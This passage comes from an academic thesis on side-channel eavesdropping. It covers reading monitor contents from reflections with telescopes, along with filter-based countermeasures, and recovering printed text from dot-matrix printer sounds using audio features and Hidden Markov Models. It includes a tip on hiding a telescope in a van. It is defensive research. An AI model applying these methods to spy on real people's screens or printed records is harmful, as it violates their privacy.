threat. Constant inspection of all places in a distance from which the attack
can be mounted would disable an attacker to hide, but this seems hard if other
buildings are located in proximity.

2.8.2 Rayleigh Criterion

A reasonable lower-bound can be derived from the Rayleigh Criterion (see Sec-
tion 2.2.2). For the minimum telescope aperture D we have

D ≥
1.22λ

u1

nd

=
1.22λnd

u1
for u1 = cos(γ) ·

x

(2
r
− 1

a0
) · a0

.

For illustration we give some concrete values in Table 2.2. These values are for
the full resolution n = 1024 pixels; the monitor width x = 30 cm, the monitor
distance (from the eye) a0 = 50 cm, the wavelength λ = 600 nm, and the angle
γ = 0 are kept constant. In most cases a fraction of the full resolution is sufficient
to achieve a reasonable reconstruction, in this case the distance or the diameter
can be multiplied or divided by a corresponding factor, respectively.

An increasing diameter has two negative effects for the attacker: First, the
telescope gets increasingly large. Typically the focal length of telescopes increases
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Figure 2.31: Prices of Newtonian mirrors of various manufacturers for increasing diam-
eter (left side), and per square-cm (right side).

linearly with the diameter, making it difficult to hide the telescope. Second, the
price of a telescope increases rapidly with increasing diameter. For astronomical
telescopes, the most expensive part is the mirror (lenses of the same size are even
more expensive and hardly ever used in large astronomical telescopes). Thus we
consider the price of the mirror only; prices of three manufacturers are shown in
Figure 2.31. (Note that prices for mirrors of the same size can vary depending
on the manufacturer, the quality, and finishing.)

The Rayleigh Criterion was specifically stated for the resolution of the human
eye. The imaging quality of typical telescopes is lower than the Rayleigh Bound,
due to inaccuracies of lenses and mirrors. With the assistance of cameras and
post-processing one could perhaps improve on the resolution. However, even with
expensive equipment, we expect the Rayleigh Bound to be correct up to a small
constant factor.

Another possible attack scenario would be to use techniques from astronomy
to increase imaging quality, in particular an array of telescopes or mirrors as
in the Very Large Telescope Project. This technically challenging undertaking
is typically only used for telescopes with a diameter greater than 5 meters. An
array of 5 meter telescopes is unrealistic in our attack scenario, and the technical
challenges of a portable telescope array are unlikely to be resolved at a reasonable
price. One also has to keep in mind that technological advances may result in
more compact telescopes that offer resolution beyond the Rayleigh bound (using
so-called “super-lenses” based on materials with so-called negative refraction in-
dex [94, 44]). Furthermore, one has to keep in mind that Rayleigh’s Criterion is
not necessarily a strict bound. Given prior knowledge about the scene, in our case
images of text, it might be possible to use deconvolution algorithms to improve
on this bound ([118], page 2).
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Figure 2.32: These images show that the protection offered by suitably aligned polar-
ization filters is far from being perfect. While blocking most light (first image), metallic
objects change polarization of light, making the monitor content readable (second image,
magnification from first image). Increased exposure times still reveal the monitor con-
tents (third image), in particular if the alignment of the two polarization filters is not
perfect (fourth image).

2.8.3 Exposure Time

In our experiments, one of the limiting factors in photographing reflections in the
human eye is the exposure time. As discussed in Section 2.2.3, the exposure time
grows quadratically with the magnification.

Deriving bounds based on the exposure time, similarly to what we did in the
previous section for the diameter, depends on the quality of the photographic
film/chip and other factors that are hard to measure. We know that exposure
time is proportional to the square of the magnification and inversely proportional
to the square of the aperture diameter. We can thus extrapolate values of the
exposure time to get an impression about the limits incurred by the necessary
aperture time. One should keep in mind that bounds obtained in this fashion are
correct only assuming a camera of the same quality as ours and assuming that no
special algorithmic techniques are used to reconstruct the screen from sequences
of underexposed pictures.

2.8.4 Polarization Filters

Another possible countermeasure is based on polarization filters. It is well-known
that two (linear) polarization filters aligned at 90 degrees block all light, but a
single filter lets 50 % of previously unpolarized light pass through. Putting one
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filter on the monitor and a rotated filter on the window, the user can still read
the monitor with slightly reduced brightness, but an attacker outside the window
cannot. Today this is even easier to implement, as all modern LCD monitors
contain a polarization filter. This was proposed as a measure to protect privacy
earlier [98].

However, in practice this does not work as well as expected. These filters
typically are not blocking perfectly, and even perfect filters are difficult to align
in a working environment. Consequently, actual effectiveness is slightly lower
than 100 %, thus using longer exposure times the monitor image can be recovered.
Additionally, metallic surfaces change the polarization of light, rendering these
filters ineffective (see Figure 2.32).

2.8.5 Color Filters

A better, but also more expensive countermeasure makes use of filters with specific
color characteristics. It requires certain kinds of monitors with specific character-
istics of the background light, but these are available off-the-shelf.

The basic idea is that the optical spectrum emitted by TFT monitors is
mainly determined by the characteristics of the background light. The TFT
matrix acts as filter that can only block or let pass wavelength that are present
in the background light. Some monitors, e.g. the ACER AL1917L, use LEDs as
background light, and thus do have a characteristic spectrum, as colored LEDs
typically have a very narrow spectrum. The measured spectrum for a fully white
monitor image is shown in Figure 2.33. Although the manufacturer’s intention
is to improve the color-characteristics of the monitor, we can exploit this for
our purposes. By designing optical filters that match these frequency bands it
is possible to suppress the monitor image completely. At the same time, for
images that are created by continuous spectra, e.g., those emitted by sunlight or
light-bulbs, the image quality is hardly influenced.

Notch filters. One can use optical notch-filters, filters that block a narrow
band of wavelengths and let all other wavelengths pass through, where the sup-
pressed band matches exactly the characteristics of the monitor. When trying
to implement this countermeasure we faced a practical problem: Commercially
available optical notch filters do not match exactly our specific needs. Only a few
common center frequencies are available, and the custom design of these filters
in small quantities is prohibitively expensive. However, for the red band emitted
by the monitor with a peak at 634.56 nm, there is a commercially available filter
which almost suits our needs, with a center frequency of 632.6 nm (this is the
frequency of HeNe-lasers). The width of this filter is 31.6 nm, which is slightly
too narrow for the light emitted by our monitor. Still, measurements show that
it blocks approximately 88% of the red light emitted by the monitor, while barely
affecting “normal” light. Figure 2.34 shows the filter in front of red text (left im-
age), and in front of an apple lightened by an ordinary energy-saving light bulb,
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Figure 2.33: Spectrum measured from an off-the-shelf ACER AL1917L monitor with
LED background light.

Figure 2.34: These images show the protection offered by an off-the-shelf optical notch
filter: the letter “S” is partially covered by the filter.

which has a (partly) continuous spectrum (right image). This countermeasure
protects also against diffuse reflections and reflections in metallic objects.

More general filters. Furthermore, more general filters can be used. We
experimented with two filters constructed to protect an observer from stray re-
flections of a laser beam. These filters have certified high blocking of particular
frequency bands. We tested filters that filter out 99.99 % of the light at wave-
lengths from 375 nm to 532 nm, according to the manufacturers specification
(i.e., they have an optical density of at least 4 in this frequency range). The
effectiveness of the filter is demonstrated in Figure 2.35.

2.9 Conclusion

In this section we presented a novel eavesdropping technique for spying at a
distance on data that is displayed on an arbitrary monitor, including the currently
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Figure 2.35: Image of the protective filter in front of a monitor showing sensitive
information in blue color and insensitive information in white color. The left side shows
the monitor without filter, the right side shows the monitor where the filter is applied to
the left 2/3 of the monitor.

prevalent LCD monitors. Our technique exploits reflections of the screen’s optical
emanations in objects that one commonly finds in close proximity to the monitor.
This includes glasses, tea pots, spoons, plastic bottles, and even the eye of the user
or diffusely reflecting objects such as the user’s shirt. We have demonstrated that
this attack can be successfully mounted in practical scenarios using off-the-shelf
equipment, and even with cheap equipment. We have furthermore established
lower bounds on the size of the telescope (and consequently its price) needed
to carry out this attack in different scenarios, based on physical characteristics
such as diffraction as well as bounds on the permitted exposure times. We also
proposed and evaluated countermeasures that can help concerned users to protect
their valuable data. We conclude with a brief discussion of possible improvements
and final remarks.

The most obvious improvement is to use more expensive hardware, in partic-
ular a larger telescope with larger diameter, that collects more light and provides
a better resolution according to the Rayleigh-criterion. Other improvements are
possible in the handling of the apparatus: A larger sensor size (with higher reso-
lution) facilitates the task of aiming at the reflection, a task that takes some time
in practice. One can also capture a series of photos and combine them in a jigsaw
puzzle fashion, to improve the resolution. Finally, an auto-focuser as it can be
found in any modern camera would facilitate the task of focusing. Getting the
focus right is currently the most tedious task, in particular for moving objects.

Even if improvements of our technique are not sufficient to increase the reso-
lution such that small fonts on a screen are readable, there are still threats beside
the possibility to read mere text. For example, even with a very unclear picture
of the screen it might be possible to guess which program a user is currently
using, or even to recognize web pages the user is currently browsing. The latter
in particular works if there is a limited set of possible candidates with which to
compare the layout on the screen. As soon as such a web page is found, one
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can follow the browsing user by only clicking on links, since the set of links on a
given page typically yields a small list of candidates. Furthermore, presentations
generally use large fonts and could easily be read from a distance, compromising
sensitive business information. If the attacker has good contextual knowledge,
even blurred diagrams and graphs can reveal damaging information, e.g. a bar
chart showing confidential sales figures.

Placing a large telescope in front of the user and observing him obviously
causes suspicion, thus it is essential for the attacker to hide. Assuming a distance
of 20 meters, the telescope could be mounted inside a small van parked near the
window of the user (assuming a ground floor office). Opacifying the windows
of the van except for one window and switching off lights inside, the telescope
should be hardly visible. A larger distance might even allow to observe the user
from an apartment on the other side of the road.
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With sufficient thrust, pigs fly just fine.

However, this is not necessarily a good idea.

It is hard to be sure where they are going

to land, and it could be dangerous sitting

under them as they fly overhead.

— Ross Callon, RFC 1925

3
Acoustic Side Channels:

Acoustic Emanations of Printers

We examine the problem of acoustic emanations of printers. We present a novel
attack that takes as input a sound recording of a dot-matrix printer processing
English text, and recovers up to 72 % of the printed words. We have successfully
mounted the attack in-field in a doctor’s practice to recover the content of medical
prescriptions.

3.1 Introduction

Although outdated for private use, dot-matrix printers continue to play a surpris-
ingly prominent role in businesses where confidential information is processed, in
particular in banks (for printing account statements, transcripts of transactions,
etc.) and doctor’s practices (for printing the patients’ health records, medical pre-
scriptions, etc.). We commissioned a representative survey [75] on this topic from
a professional survey institute in Germany; the results are shown in Figure 3.1.1

We show that printed English text can be successfully reconstructed from a
previously taken recording of the sound emitted by the printer. We first conduct
a training phase where words from a dictionary are printed, and characteristic

1The reasons for the continued use of dot-matrix printers are manifold: robustness, cheap
deployment, incompatibility of modern printers with old hardware, and overall the lack of a com-
pelling (business) reason why working IT hardware should be modernized. Moreover, several
European countries (e.g., Germany, Switzerland, Austria, etc.) require by law to use dot-matrix
printers (or printers that can produce carbon-copies) for printing prescriptions of narcotic sub-
stances [23].
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Doctors (n=541 asked)

Use dot-matrix printers 58.4 %
- for general prescriptions 79.4 %
- for other usages 84.5 %

Printer placed within earshot of patients 72.2 %
Replacement planned 4.7 %

Banks (n=524 asked)

Use dot-matrix printers 30.0 %
- for bank statement printers 29.9 %
- for other usages 83.4 %

Printer placed within earshot of customers 83.4 %
Replacement planned 8.3 %

Table 3.1: Main results of the survey on the usage of dot-matrix printers in doctor’s
practices and banks [75]. Other printer usages reported in the survey comprise: “certifi-
cate of incapacity for work, transferal to another doctor, hospitalization, and receipts”
for doctors, and “account book, PIN numbers for online banking, supporting documents,
and ATMs” for banks.

sound features of these words are extracted and stored in a database. We then
use the trained characteristic features to recognize the printed English text.2

This reconstruction is not trivial. Major challenges include: (i) Identifying
and extracting sound features that suitably capture the acoustic emanation of
dot-matrix printers; (ii) Compensating for the blurred and overlapping features
that are induced by the substantial decay time of the emanations; (iii) Identifying
and eliminating wrongly recognized words to increase the overall recognition rate.
We address these challenges using a combination of machine learning techniques
for audio processing and statistical characteristics of natural language (Similar
techniques are used in language technology applications, in particular in auto-
matic speech recognition):

First, we develop a novel feature design that borrows from commonly used
techniques for feature extraction in speech recognition and music processing.
These techniques are geared towards the human ear, which is limited to approxi-
mately 20 kHz and whose sensitivity is logarithmic in the frequency; for printers,
our experiments show that most interesting features occur above 20 kHz, and a
logarithmic scale cannot be assumed. Our feature design reflects these observa-
tions by employing a sub-band decomposition that places emphasis on the high
frequencies, and spreading filter frequencies linearly over the frequency range. We

2Training and recognition on a letter basis, similar to [137], seems more appealing at first
glance since it naturally comprises the whole vocabulary. However, the sound emitted by a
printer is strongly blurred across adjacent letters, rendering a letter-based approach poorer
than the word-based approach; see the discussion in Section 3.5.3.
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further add suitable smoothing to make the recognition robust against measure-
ment variations and environmental noise.

Second, we deal with the decay time and the induced blurring by resorting
to a word-based approach instead of decoding individual letters. A word-based
approach requires additional effort upfront such as an extended training phase as
the dictionary grows larger. However, recognition of words based on training the
sound of individual letters (or pairs/triples of letters) is infeasible because the
sound emitted by printers blurs strongly over adjacent letters.

Third, we employ techniques from language technology to increase the recog-
nition rate. We use Hidden Markov Models (HMMs) that rely on the statistical
frequency of sequences of words in English text in order to rule out improbable
sequences. We found that this step requires to use 3-grams on a large number
of words from the dictionary to be effective, causing existing implementations
for this task to fail because of memory exhaustion. To tame memory consump-
tion, we implement a delayed computation of the transition matrix that underlies
HMMs, and in each step of the search procedure, we adaptively remove the words
with only weakly matching features from the search space. We built a prototyp-
ical implementation that can bootstrap the recognition routine from a database
of featured words that have been trained using supervised learning. Afterwards,
the prototype automatically recognizes English text with recognition rates of up
to 72 %.

We have successfully mounted the attack in-field in a doctor’s practice to
recover the content of medical prescriptions. (For privacy reasons, we asked for
permission upfront and let the secretary print fresh prescriptions of an artificial
client.) The attack was conducted under realistic – and arguably even pessimistic
– circumstances: During rush hour, with many people chatting in the waiting
room.

3.1.1 Related Literature

Acoustic emanations were shown to divulge text typed on ordinary keyboards [8,
137, 18]. These papers use techniques similar to ours: First, suitable character-
istics need to be extracted, and it turned out that the touching sound (when
the finger touches the keyboard) makes the most suitable noise. Second, these
characteristics need to be matched against a database with known sounds. This
database can either be trained with labeled training data, or it can be trained
blindly, simply knowing that, say, English text is typed, and then using statistical
language characteristics. Third, one can use further statistical language charac-
teristics, e.g., Hidden Markov Models based on n-grams, to reconstruct English
text with higher confidence, or one can use word-lists and similar input to reduce
the number of guesses for password guessing. Since the time between two consec-
utive keystrokes is always large enough that blurring between the sound features
for two key-strokes was not an issue, they could work on individual letters, fa-
cilitating the attack and particularly the post-processing. Another approach to
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Figure 3.1: Overview of the different steps of the attack.

reconstruct keys pressed on a keyboard uses two microphones and uses small dif-
ferences in the time when a key-press is heard to triangulate the exact location
of the key that was pressed [47].

Acoustic emanations of printers were briefly mentioned before [26]; it was
demonstrated only that the letters “W” and “J” can be distinguished by visual
inspection of the curves. This study did not determine whether any other letters
can be distinguished, let alone if a whole text can be reconstructed by inspection
of the recording, or even in an automated manner.

Acoustic emanations were shown to reveal information about the CPU state
and the instructions that are executed [112].

We adapt several techniques from audio processing for use in our system.
A central technique is feature extraction. We use features based on sub-band
decomposition [82]. Alternative feature designs are based on the (Short-time)
Fast Fourier Transform [113], or on the Cepstrum transformation [33] which is
the basis for Mel Frequency Cepstral Coefficients (MFCC) [71, 48, 24, 72, 93].

3.1.2 Chapter Outline

Section 3.2 presents a high-level description of our new attack, with full technical
details given in Sections 3.3 and Section 3.4. Section 3.5 presents experimental
results. We briefly discuss countermeasures in Section 3.6 describe the attack we
conducted in-field in Section 3.7, and conclude with Section 3.8.

3.2 Attack Overview

We consider the scenario that English text containing potentially sensitive infor-
mation is printed on a dot-matrix printer, and the emitted sound is recorded. We
develop a method that, given a recording as input, automatically reproduces the
printed text. Figure 3.1 presents a high-level overview of the attack.
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The first phase (Figure 3.1(a)) constitutes the training phase that can take
place either before or after the attack. In this phase, a sequence of words from a
dictionary is printed, and characteristic sound features of each word are extracted
and stored in a database. For obtaining the best results, the setting should be
as close as possible to the setting in which the actual attack is mounted, e.g.,
with similar environmental noise and acoustics. Our experiments indicate that
creating sufficiently good settings for reconstruction does not pose a problem, see
Sections 3.5.3 and 3.7. The main steps of the training phase are as follows:

1. Feature extraction. We use a novel feature design that borrows from com-
monly used techniques for feature extraction in speech recognition and au-
dio processing. In contrast to these areas, our experiments show that most
interesting features for printed sounds are located above 20 kHz, and that
a logarithmic scale cannot be assumed for them. We hence split the record-
ing into single words based on the intensity of the frequency band between
20 kHz and 48 kHz. We subsequently use sub-band decomposition, i.e., sev-
eral band-pass filters with center frequencies spread linearly over the fre-
quency range [82]. As discussed in Section 3.3.1, sub-band decomposition
gives better results than simple FFT because of better time resolution. The
output of sub-band decomposition is smoothed to make it more robust to
measurement variations and environmental noise. The extracted features
are stored in a database.

2. Computation of language models. To solve the recognition task, we com-
plement acoustic information with information about the occurrence likeli-
hood of words in their linguistic context (e.g., the sequence “such as the”
is much more likely than “such of the”). More specifically, for each word
in our lexicon we estimate n-gram probabilities, i.e., the likelihood that
the word occurs after a sequence of n− 1 given words. These probabilities
make up a (statistical) language model. Probabilities are computed based
on frequency counts of n-place sequences (n-grams) from a corpus of text
documents. We need to extract these frequencies from a sufficiently large
corpus, which makes up the second step of the training phase. In our exper-
iments, we used 3-gram frequencies extracted from a corpus of 10 million
words of English text.

The second phase (Figure 3.1(b)), called the recognition phase, uses the charac-
teristic features of the trained words to recognize new sound recordings of printed
text, complemented by suitable language-correction techniques. The main steps
are as follows:

1. Select candidate words. We start by extracting features of the recording of
printed text, as in the first step of the training phase. Let us call the se-
quence of obtained features the trained features. We subsequently compare,
on a word-by-word basis, the obtained acoustic features of the target text
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(henceforth target features) with the features of the trained dictionary of
words stored in the database.

If the features extracted from different recordings of the same word were al-
ways identical, one would obtain a unique correspondence between trained
features and target features (under the assumption that all text words are
in the dictionary). However, measurement variations, environmental noise,
etc. show that this is not the case. Multiple recordings of the same word
sometimes yield different features; for example, printing the same word at
different places in the document results in differing acoustic emanations;
conversely, recordings of words that differ significantly in their spelling
might yield similar sound features. We hence let the selected, trained word
be a random variable conditioned on the printed word, i.e., every trained
word is a candidate with a certain probability. Using sufficiently good fea-
ture extraction and distance computations between two features, the prob-
abilities of one or a few such trained words dominate for each printed word.
The output of the first recognition step is a list of most likely candidates,
given the acoustic features of the target word.

2. Language-based reordering to reduce word error rate. We finally try to find
the most likely sequence of printed words given a ranked list of candidate
words for each printed word. Although always naively picking the most
likely word based on the acoustic signal already yields a suitable recognition
quality, we employ Hidden Markov Models (HMM) and the Viterbi algo-
rithm to determine the most likely sequence of printed words. Intuitively,
this technology works well for us because most errors that we encounter
in the recognition phase are due to incorrectly recognized words that do
not fit the context; by making use of linguistic knowledge about likely and
unlikely sequences of words, we have a good chance of detecting and cor-
recting such errors. The use of HMM technology yields accuracy rates of
70 % on average for words, see Section 3.4 for details.

We modify the Viterbi algorithm to meet our specific needs: First, the
standard algorithm accepts as input a sequence of outputs, while we get for
each position an ordered list of likely candidates, and we want to profit from
this extra knowledge. Second, we need to decrease memory usage, since a
standard implementation would consume more than 30 GB of memory.

3.3 Details on Audio Processing

In this section we provide technical details on the audio processing of the attack,
i.e., on feature extraction and the selection of the best-matching candidates.

54



3.3 Details on Audio Processing

Figure 3.2: The decay exemplified: In this recording the letter “H” was printed two
times. Dark colors represent high intensity of the respective frequency.

3.3.1 Feature Extraction

We are given an audio file sampled at 96 kHz with 16 bit. To split the recording
into words, we use a threshold on the intensity of the frequency band from 20 kHz
to 48 kHz. For printers, our experiments have shown that most interesting fea-
tures occur above 20 kHz, making this frequency range a reliable indicator despite
its simplicity. Discarding the lower frequencies avoids most noise added by the
movement of the print-head etc.

From the split signal, we compute the raw spectrum features by sub-band
decomposition, a common technique in different areas of audio processing. The
signal is filtered by a filter bank, a parallel arrangement of several bandpass filters
tuned in steps of 1 kHz over the range from 1 kHz to 48 kHz.

For noise reduction the output of the filters is smoothed, normalized, the
amount of data is reduced (the maximal value out of five is kept), and smoothed
again. The result is appropriately discretized over time and forms a set of vectors,
one vector for each filter.

The feature design has a major influence on the running time and storage
requirements of the subsequent audio processing. We have experimented with
several alternative feature designs, but obtained the best results with sub-band
decomposition as described above. The (Short-time) Fast Fourier Transform
(SFFT) [113] seems a natural alternative to sub-band decomposition. There
is, however, a trade-off between the frequency and the time resolution, and we
obtain worse results in our setting when we used SFFT, similar to earlier obser-
vations [137].
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3.3.2 Select Candidate Words

The decision which database entry is the best match for a recording is based on the
following distance function defined on features; the tool outputs the 30 most sim-
ilar entries along with the calculated distance. Given the features extracted from
the recording (~x1, . . . , ~xt) and the features of a single database entry (~y1, . . . , ~yt)
we compute the angle between each pair of vectors ~xi, ~yi and sum over all fre-
quency bands:

∆((~x1, . . . , ~xt), (~y1, . . . , ~yt)) =
∑

i=1,...,t

arccos

(

~xi · ~yi

|~xi| · |~yi|

)

. (3.1)

To increase robustness and decrease computational complexity in practical scenar-
ios, some problems need to be addressed: First, our implementation for cutting
the audio file sometimes errs a bit (due to the presence of noise in the audio
signal), which leads to slightly non-matching samples. Thus we consider minor
shiftings of each sample by tiny amounts (two steps in each direction, or a total
of 5 measurements) and take the minimum angle (i.e., the maximum similarity).
Second, for a similar reason, we tolerate some deviation in the length of the fea-
tures. We punish too large deviations by multiplying with a factor of 1.2 if the
length of the query and the database entry differ by more than a defined thresh-
old. The factor and the threshold are derived from our experiments. Third, we
discard entries whose lengths deviate from the target feature by more than 15 %
in order to speed up the computation.

Using the angle between vectors to compare features is a common technique.
Other approaches that are used in different scenarios include the following: Müller
et al. present an audio matching method for chroma based features that handles
tempo differences [83]. Logan and Salomon use signatures based on clustered
MFCCs as input for the distance calculation in [72]. Furthermore, they use the
earth mover’s distance [105] for the signatures (minimum amount of work to
transform one signature into another) and the Kullback Leibler (KL) distance for
the clusters inside the signatures as distance measures.

3.4 Details on HMM-based Post-Processing

In this section we describe techniques based on language models to further im-
prove the quality of reconstruction. These improve the word recognition rate
from 63 % to 70 % on average, and up to 72 % in some cases.

3.4.1 Introduction to HMMs

Hidden Markov models (HMMs) can be used to recover a sequence of random
variables which cannot be observed directly from a sequence of (observed) out-
put variables. The random variables are modeled as hidden states, the output
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.......
q1 q2 q3 qN

o1 o2 o3 oM

a12 a23 a34 aN−1,N

b11 b22 b33 eNM

Figure 3.3: A simple Hidden Markov Model.

variables as observed states. HMMs have been employed for many tasks that
deal with natural language processing such as speech recognition [99, 58, 57],
handwriting recognition [86] or part-of-speech tagging [36, 40].

Formally, an HMM of order d is defined by a five-tuple 〈Q,O,A,B, I〉, where
Q = (q1, q2, ..., qN ) is the set of (hidden) states, O = (o1, o2, ..., oM ) is the set of
observations, A = (Ai1,...,id+1

)1≤i1,...,id+1≤N is the (stochastic) matrix of state tran-
sition probabilities (i.e., the probability to reach state qid+1

when being in state qid
with history qi1, . . . , qid−1

), B = (Bi,j)1≤i≤N,1≤j≤M is the (stochastic) matrix of
emission probabilities (i.e., the probability of observing a specific output oj when
being in state qi), and I = (Ii1,...,id)1≤i1,...,id≤N is the matrix of initial probabilities
(i.e., the probability of starting in state qid with history qi1, . . . , qid−1

). Figure 3.3
shows a graphical representation of an HMM, where unshaded circles represent
hidden states and shaded circles represent observable states.

In our setting the words that were printed are unknown and correspond to
the hidden states. The observed states are the output of the first stage of re-
construction of the acoustic signals emitted by the printer. What makes HMMs
particularly attractive for our task is that they allow us to combine two sources of
information: First, the acoustic information present in the observed signal, and
second, knowledge about likely and unlikely word combinations in a well-formed
text. Both sources of information are important for recovering the original text.

To utilize HMMs for our task, we need to address two problems: we need
to estimate the model parameters of the HMM (training phase), and we need to
determine the most likely sequence of hidden states for a sequence of observations
given the model (recognition phase). The method described in Section 3.3.2
gives a ranking of the candidate words based on the distance function. The
probability probi for the i-th word is computed from the distance dist i as prob i =
1/(dist i−min + 0.2), where min denotes the minimum of the observed distances
and 0.2 is a parameter determined heuristically. The initial probabilities, which
model the probability of starting in a given state, and the transition probabilities,
which model the likelihood of different words following each other in an English
text, can be obtained by building a language model from a large text corpus.
To address the second problem, determining the most likely sequence of hidden
states (i.e., the most likely sequence of printed words in the target text), we can
use the Viterbi algorithm [124]. In the following two sections, we describe in
more detail how we compute the language models and how the candidate words
are reordered by applying the Viterbi algorithm.
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3.4.2 Building the Language Models

A language model of size n assigns a probability to each sequence of n words.
The probability distribution can be estimated by computing the frequencies of
all n-grams from a large text corpus. Note that language models are to some
extent domain and genre dependent, i.e., a language model built from a corpus of
financial texts is often unsuitable for predicting likely word sequences in biomed-
ical texts. To cover a large range of domains and thus make our model robust
in the face of arbitrary input texts, we train the language model on a diverse
selection of stable Wikipedia articles. The corpus has a size of 63 MB and con-
tains approximately 10 million words. From the corpus, we extract all 3-grams
and compute their frequencies.3 We consider all 3-grams that appeared at least
three times. We smooth the probabilities by assigning a small probability to each
unseen n-gram, which would otherwise be assigned probability 0 and never be
selected by the Viterbi algorithm. Better smoothing techniques [32] were difficult
to implement in our setting, as we compute the probabilities on-the-fly. Accu-
rately estimating the emission probabilities B would require to print each word
in the dictionary several times. We found that a much simpler method already
gives good results. We assigned a large probability of 98 % to the correct word
and distributing the remaining probability mass equally to the remaining words.

The parameter n determines how many words of the context (i.e., how many
previous hidden states in the HMM) are taken into account by the language model.
Higher values for n can lead to better models but also require exponentially larger
corpora for an accurate estimation of the n-gram probabilities. The higher the
value of n, the larger the likelihood that some n-grams never appear in the corpus,
even though they are valid word sequences and thus may still appear in the printed
text.

3.4.3 Reordering of Candidate Words Using Language Models

Having built the language model, we can reorder the candidate words using the
model to select the most likely word sequence (i.e., the most likely sequence of
hidden states). This task is addressed by the Viterbi algorithm [124], which
takes as input an HMM 〈Q,O,A,B, I〉 of order d and a sequence of observations
a1, . . . , aT ∈ O

T . The state consists of Ψ = (Ψs,i1,...,id)1≤s≤T,1≤i1,...,id≤N . First,
the d-th step is initialized according to the initial distribution, weighted with the
observations (the steps 1 to d− 1 are un-used):

Ψd,i1,...,id = Ii1,...,id

∏

k=1,...,d

Bik,ak
∀1 ≤ i1, . . . , id ≤ N. (3.2)

3All 3-grams were converted to lower case and punctuation characters were stripped off.
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In the recursion, for increasing indices s, the maximum of all previous values is
taken:

Ψs,i1,...,id = Bid,as
max
i0∈Q

(

Ai0,i1,...,idΨs−1,i0,...,id−1

)

∀s > d, 1 ≤ i1, . . . , id ≤ N. (3.3)

Finally, the sequence of hidden states can be obtained by backtracking the indices
that contributed to the maximum in the recursion step.

The memory required to store the state Ψ is O(T · Nd) and the running
time is O(T ·Nd+1), as we are optimizing over all N hidden states for each cell.
Consequently, memory requirements are a major challenge in implementing the
Viterbi algorithm. For example, using a dictionary of 1000 words, the memory
requirements of our implementation for 3-grams are slightly above 2 GB, and is
growing quadratically in N . We use two techniques to overcome these problems:

1. First, instead of storing the complete transition matrix A we compute the
values on-the-fly (keeping only the list of 3-grams in memory).

2. Second, we do not optimize over all possible words, but only over the U =
30 best rated words from the previous stage. This brings down memory
requirements to O(T ·Ud) and execution time to O(T ·Ud+1). The size of Ψ
in this case is 130 MB for 3-grams.

3.5 Experiments and Statistical Evaluation

In this section we describe our experiments for evaluating the attack. In addition
to describing the set-up and the experimental results on the recognition rate for
sample articles, we evaluate the influence of using different microphones, printers,
fonts, etc. on the recognition rate, and we provide some explanation why the
attack works from a conceptual perspective.

3.5.1 Setup

We use an Epson LQ-300+II (24 needles) without printer cover and using the
in-built mono-spaced font for printing texts. The sound is recorded from a short
distance of 20 cm using a Sennheiser MKH-8040 microphone with nominal fre-
quency range from 30 Hz to 50 kHz. In the training phase we used a dictionary
containing 1400 words, which is composed from a list of the 1000 most frequent
words from our corpus and the words that appeared in our example texts.4 In-
flected forms, capitalization, as well as words with leading punctuation marks
need to be counted as different words, as their sound features might significantly

4In a real attack, ensuring that (almost) all words of the text occur in the dictionary can be
achieved using several techniques: using contextual knowledge to reduce the number of words
that are likely to appear in the text, training a larger dictionary, or using feedback-based learning
to subsequently add missing words to the dictionary.
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Text 1 Text 2 Text 3 Text 4 Overall

Basic Top 1 60.5 % 66.5 % 62.8 % 61.5 % 62.9 %
Top 3 75.1 % 79.2 % 78.7 % 77.9 % 78.0 %

HMM 3-gram 66.7 % 71.8 % 71.2 % 69.0 % 69.9 %

Table 3.2: Recognition rates of the four sample articles. The first and the second row
show recognition rates if no HMM post-processing is used; the third row depicts the
recognition rates after applying post-processing with HMMs based on 3-grams.

differ (blurring propagates from left to right within a word). We work with the
sound recordings of four different articles from Wikipedia on different topics: two
articles on computer science (on source-code and printers), one article on politics
(on Barack Obama), and one article on art (on architecture) with a total of 1181
words to evaluate the attack.

The training and matching phase have been implemented in MATLAB using
the Signal Processing Toolbox – a MATLAB extension which allows to conve-
niently process audio signals. The HMM post-processing is implemented in C.
The tool is fully automated, with the only exceptions being threshold values that
need manual adaption for a given attack scenario. The training phase takes a
one-time effort of several hours for building up the sound feature database for the
words in the dictionary. The recognition phase takes approximately two hours for
matching one page of text, including full HMM post-processing. Memory usage of
the procedure is substantial, because the feature database and the HMM-related
information are kept in main memory to speed up computation. Trade-offs with
less memory consumption but larger execution times can easily be realized.

3.5.2 Experimental Results

The recognition rates for all articles in our experiments are depicted in Table 3.2.
The first row shows the recognition rates if no HMM post-processing is used, i.e.,
these numbers correspond to the output of the matching phase. For illustration,
in the second line we give the rate that the correct word was within the three
highest-ranked words in the matching phase. The third row depicts the recog-
nition rates after applying post-processing with HMMs based on 3-grams. We
achieve recognition rates between 67 % and 72 % for the four articles.

We also experimented with 4-gram and 5-gram language models. In addition
to encountering even more severe problems of memory consumptions, our exper-
iments indicated that the recognition rates do not improve over 3-grams. While
this behavior might be surprising at a first glance, it can be explained by the
sparseness of the training data: the number of 5-grams that we can extract from
our corpus is approx. 107, but the transition matrix of an HMM based on 5-grams
on a dictionary of 1000 words has 1015 entries; thus the number of 5-grams is
too small compared to the number of entries. For similar reasons, 4-grams and
5-grams are rarely used in language processing.
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In computing, a printer is a peripheral which produces a hard

copy (permanent human-readable text and/or graphics) of documents

stored in electronic form, usually on physical print media such

as paper or transparencies. Many printers are primarily used

as local peripherals, and are attached by a printer cable or,

in most newer printers, a USB cable to a computer which serves

as a document source. Some printers, commonly known as network

printers, have built-in network interfaces (typically wireless or

Ethernet), and can serve as a hardcopy device for any user on the

network. Individual printers are often designed to support both

local and network connected users at the same time.

Figure 3.4: One of the texts we used in the evaluation was the beginning of the
Wikipedia entry on printers. The first paragraph is shown here.
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Figure 3.5: Next, we give the output of the recognition phase without HMM-based
post-processing. In this part of the text the recognition rate is 69 %.

In computing, a printer in a peripheral which produces a hard
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Figure 3.6: Finally, we give the output of reconstruction after applying the HMM-based
language-correction. The recognition rate increases to 74 %.

61



Chapter 3 Acoustic Emanations of Printers

Top 1 (Top 3)

Standard setting 62 % (78 %)

Sennheiser ME 2 clip-on microphone 57 % (72 %)
OKI Microline 1190 printer 41 % (51 %)
Another Epson LQ-300+II 54 % (72 %)
Proportional font 57 % (71 %)

Table 3.3: Results of the reconstruction with certain parameters modified. (These
control experiments were conducted on shorter texts and slightly different dictionary
than the previous experiments.)

3.5.3 Supplemental Experiments

We evaluated the influence on the recognition rate of using different microphones,
different printers, proportional fonts, etc. and we investigated why the recon-
struction works from a conceptual perspective. In a nutshell, the results can
